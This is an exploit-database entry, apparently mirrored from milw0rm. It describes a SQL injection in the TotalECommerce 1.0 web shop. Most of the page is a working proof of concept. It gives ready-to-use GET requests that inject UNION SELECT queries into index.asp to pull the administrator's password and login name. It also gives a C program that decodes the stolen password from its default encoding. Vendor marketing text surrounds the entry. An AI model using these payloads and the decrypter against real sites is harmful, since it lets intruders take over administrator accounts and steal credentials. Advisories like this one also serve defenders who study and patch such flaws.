Lucene search
K

TotalECommerce <= 1.0 (index.asp id) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

TotalECommerce <= 1.0 Remote SQL Injection Exploit, Example GET request and decryption cod

Code

                                                Original advisory: http://www.nukedx.com/?viewdoc=18
Advisory by: nukedx
Full PoC
Explotation:
GET -&#62; http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL]
EXAMPLE 1 -&#62; http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha+from+administradores
EXAMPLE 2 -&#62; http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login+from+administradores
with example 1 remote attacker can get admin&#39;s encrypted password and with example 2 remote attacker can get admin&#39;s login name
[PageID]: must be working page id you can get some from frontpage.
&#60;--Decrypter code--&#62;
&#60;--Note: This decrypter just decrypts default data
If webmaster changed te_chave value in funcoes.asp
this decrypter wont decrypt data so you need to 
make your own decrypter
--&#62;
&#60;--C Source--&#62;
/*********************************************
*        TotalECommerce PWD Decrypter        *
*        Coded by |SaMaN| for nukedx         *
*          http://www.k9world.org            *
*              IRC.K9World.Org               *
*Advisory: http://www.nukedx.com/?viewdoc=18 *
**********************************************/
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;ctype.h&#62;

int main()
{
  char buf[255];
  char buf2[255];
  char buf3[255];
  char *texto;
  char *vcrypt;   
  int i,x,z,t = 0;
  char saman;
  texto = buf;
  vcrypt = buf2;
  printf(&#34;%s&#34;, &#34;|=------------------------------------=|\n&#34;);
  printf(&#34;%s&#34;, &#34;   Coded by |SaMaN| @ IRC.K9World.Org\n&#34;);
  printf(&#34;%s&#34;, &#34;|=------------------------------------=|\n\n&#34;);
  printf(&#34;%s&#34;, &#34;Enter crypted password: &#34;);
  scanf(&#34;%200s&#34;, buf);
  if (!texto)
  vcrypt = &#34;&#34;;

  for (i = 0; i &#60; strlen(texto); i++)
  {
    if ((vcrypt == &#34;&#34;) || (i &#62; strlen(texto)))
    x = 1;
    else 
    x = x + 1;
    t = buf[i];
    z = 255 - t;
    saman = toascii(z);
    snprintf(buf3, 250, &#34;%c&#34;, saman);
    strncat(buf2, buf3, 250);
  }
  printf(&#34;Result: %s\n&#34;, buf2);
  return;
}
&#60;--End of code--&#62;
&#60;--Thanks |SaMaN| for decrypter--&#62;

// milw0rm.com [2006-03-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21